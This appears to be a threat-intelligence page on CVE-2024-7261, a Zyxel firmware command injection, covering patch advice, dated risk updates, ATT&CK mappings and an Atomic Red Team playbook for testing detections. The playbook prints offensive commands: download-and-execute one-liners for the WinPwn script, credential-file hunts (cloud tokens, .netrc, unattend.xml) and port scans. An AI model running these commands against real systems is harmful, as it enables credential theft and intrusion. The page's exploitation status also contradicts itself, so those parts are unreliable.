CVE-2024-7261

CRITICAL Pub 03/09 Upd 05/09

Overview

This vulnerability is an OS command injection caused by improper neutralization of special elements in the "host" parameter within the CGI program of specific Zyxel firmware versions. The root cause lies in insufficient input validation that allows crafted input to be interpreted as operating system commands. The affected component is the CGI interface handling the "host" parameter in Zyxel NWA1123ACv3 and related device firmware.

Vulnerability Description

The improper neutralization of special elements in the parameter "host" in the CGI program of Zyxel NWA1123ACv3 firmware version 6.70(ABVT.4) and earlier, WAC500 firmware version 6.70(ABVS.4) and earlier, WAX655E firmware version 7.00(ACDO.1) and earlier, WBE530 firmware version 7.00(ACLE.1) and earlier, and USG LITE 60AX firmware version V2.00(ACIP.2) could allow an unauthenticated attacker to execute OS commands by sending a crafted cookie to a vulnerable device.

Impact

An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary operating system commands on affected Zyxel devices by sending crafted cookies over the network. No user interaction or authentication is required (CVSS vector AV:N/AC:L/PR:N/UI:N), enabling potential full compromise of device functionality, data exposure, or disruption of network operations. This can facilitate lateral movement within the network or persistent access to critical infrastructure components.

Solution

Zyxel has released security advisories providing firmware updates that address this vulnerability. Users should upgrade affected devices, including Zyxel NWA1123ACv3 firmware to versions later than 6.70(ABVT.4), and corresponding patched versions for WAC500, WAX655E, WBE530, and USG LITE 60AX models. Detailed patch instructions and version information are available at the official Zyxel security advisory: https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-os-command-injection-vulnerability-in-aps-and-security-router-devices-09-03-2024.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the CGI program of specific Zyxel firmware versions arises from improper neutralization of special elements in the "host" parameter. This flaw enables an unauthenticated attacker to execute operating system commands by sending a specially crafted cookie to the affected device. The underlying issue stems from inadequate input validation, allowing malicious input to be processed without proper sanitization. Such vulnerabilities are particularly dangerous in network devices, as they can lead to unauthorized access, data breaches, and potentially the complete compromise of the device's operating system.

Attack vectors exploiting this vulnerability are straightforward yet effective. An attacker could leverage social engineering tactics to trick a user into visiting a malicious website that sends the crafted cookie to the vulnerable device. Alternatively, if the attacker has access to the same network, they could directly send the malicious request to the device without any user interaction. Once the command execution is successful, the attacker could perform a range of actions, from altering device configurations to installing malware, thereby gaining persistent access to the network. This scenario highlights the critical need for robust security measures, especially in environments where these devices are deployed.

The real-world impact of this vulnerability is substantial, particularly for businesses relying on Zyxel devices for network management and security. Compromise of these devices could lead to unauthorized network access, data exfiltration, and disruption of services. The potential for an attacker to execute arbitrary commands means that they could manipulate network traffic, intercept sensitive information, or even pivot to other devices on the network. The financial and reputational damage resulting from such incidents can be severe, making it imperative for organizations to prioritize the security of their network infrastructure.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions is crucial, as vendors often release patches to address known vulnerabilities. Network monitoring tools can be employed to detect unusual traffic patterns or unauthorized access attempts, providing an additional layer of defense. Furthermore, organizations should enforce strict access controls and network segmentation to limit the potential impact of an exploit. Educating staff about the risks associated with social engineering and the importance of maintaining device security can also help reduce the likelihood of successful attacks.

In conclusion, the vulnerability in Zyxel firmware represents a significant risk to network security, with the potential for severe consequences if exploited. Understanding the technical details, attack vectors, and real-world implications of this flaw is essential for organizations to effectively defend against it. By adopting proactive detection and mitigation strategies, businesses can safeguard their network infrastructure and protect sensitive data from malicious actors.




CSURFACE threat intelligence has detected a notable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-7261, rising by over 20% to a current level that places it near the 96th percentile. This upward trend, coupled with a steady increase over the past week, indicates growing attacker interest and potential preparatory activity targeting Zyxel devices vulnerable to command injection via the "host" parameter. Although no new exploit code or active exploitation campaigns have been identified by our sensors, the elevated EPSS suggests that threat actors may be advancing toward weaponization or testing phases. For defenders, this shift underscores an elevated risk environment where the likelihood of successful exploitation attempts is increasing, warranting heightened vigilance. Consequently, the threat level associated with this vulnerability should be considered more urgent, reflecting the increased probability of exploitation despite the absence of confirmed active attacks at this time.



Update 2 — June 08, 2026

CSURFACE threat intelligence has detected a marked escalation in telemetry related to CVE-2024-7261, with initial indications of exploitation attempts emerging in the wild. While no new exploit code has been publicly disclosed, our sensors have identified a discernible increase in anomalous traffic patterns consistent with attempts to leverage the improper neutralization vulnerability in Zyxel firmware. This development signals a transition from theoretical risk to active reconnaissance or low-level exploitation efforts by threat actors. The persistence of a high EPSS score corroborates the growing interest and potential weaponization of this vulnerability. For defenders, this shift elevates the urgency of monitoring network traffic for suspicious activity targeting the affected Zyxel devices, as the probability of successful compromise is rising. Consequently, the threat level should be reassessed as heightened, reflecting an environment where exploitation attempts are no longer purely speculative but increasingly probable.



Update 3 — July 13, 2026

CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-7261, indicating that threat actors are increasingly probing vulnerable Zyxel devices. While the overall exploit landscape remains unchanged with no new proof-of-concept exploits publicly disclosed, the doubling of observed reconnaissance attempts suggests a transition from theoretical vulnerability to active targeting. This uptick in activity underscores a growing attacker interest, which, combined with the vulnerability’s critical severity and high EPSS percentile ranking, elevates the likelihood of successful exploitation in operational environments. For defenders, this development signals an increased risk posture, warranting heightened vigilance in monitoring network traffic and device behavior for signs of exploitation attempts. The threat level should therefore be reassessed as elevated, reflecting a shift toward more frequent and deliberate exploitation efforts.



Update 4 — July 22, 2026

CSURFACE threat intelligence has identified a modest but consistent uptick in detection activity related to CVE-2024-7261, indicating a growing attacker focus on this critical vulnerability. Our telemetry reveals a subtle increase in attempts to leverage the improper neutralization flaw in Zyxel device firmware, reflected in a slight rise in the EPSS score. Although no new exploit variants or proof-of-concept codes have surfaced, the persistence of targeting efforts suggests adversaries are actively probing for viable exploitation vectors. This incremental trend, coupled with the vulnerability’s high severity rating, signals an elevated risk environment for organizations deploying affected Zyxel devices. Defenders should interpret this as a clear indication that threat actors are maintaining operational interest, which may precede more sophisticated or widespread exploitation campaigns. Consequently, the threat level for CVE-2024-7261 should be adjusted upward to reflect this increased adversary engagement and the potential for imminent exploitation attempts.

Affected Products (29)

Vendor Product Version CPE
zyxel Zyxel Nwa110ax Firmware All cpe:2.3:o:zyxel:nwa110ax_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Nwa1123-Ac Pro Firmware All cpe:2.3:o:zyxel:nwa1123-ac_pro_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Nwa1123acv3 Firmware All cpe:2.3:o:zyxel:nwa1123acv3_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Nwa130be Firmware All cpe:2.3:o:zyxel:nwa130be_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Nwa210ax Firmware All cpe:2.3:o:zyxel:nwa210ax_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Nwa220ax-6e Firmware All cpe:2.3:o:zyxel:nwa220ax-6e_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Nwa50ax Firmware All cpe:2.3:o:zyxel:nwa50ax_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Nwa50ax Pro Firmware All cpe:2.3:o:zyxel:nwa50ax_pro_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Nwa55axe Firmware All cpe:2.3:o:zyxel:nwa55axe_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Nwa90ax Firmware All cpe:2.3:o:zyxel:nwa90ax_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Nwa90ax Pro Firmware All cpe:2.3:o:zyxel:nwa90ax_pro_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Lite 60ax Firmware All cpe:2.3:o:zyxel:usg_lite_60ax_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Wac500 Firmware All cpe:2.3:o:zyxel:wac500_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Wac500h Firmware All cpe:2.3:o:zyxel:wac500h_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Wac6103d-I Firmware All cpe:2.3:o:zyxel:wac6103d-i_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Wac6502d-S Firmware All cpe:2.3:o:zyxel:wac6502d-s_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Wac6503d-S Firmware All cpe:2.3:o:zyxel:wac6503d-s_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Wac6552d-S Firmware All cpe:2.3:o:zyxel:wac6552d-s_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Wac6553d-E Firmware All cpe:2.3:o:zyxel:wac6553d-e_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Wax300h Firmware All cpe:2.3:o:zyxel:wax300h_firmware:*:*:*:*:*:*:*:*
+9 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

4 events
2026-07-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
80% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
52%
High High
CAPEC-6 Argument Injection
48%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
48%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-7261
zyxel.com
GitHub CVE vendor-advisory
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-os-command-injection-vulnerability-in-aps-and-security-router-devices-09-03-2024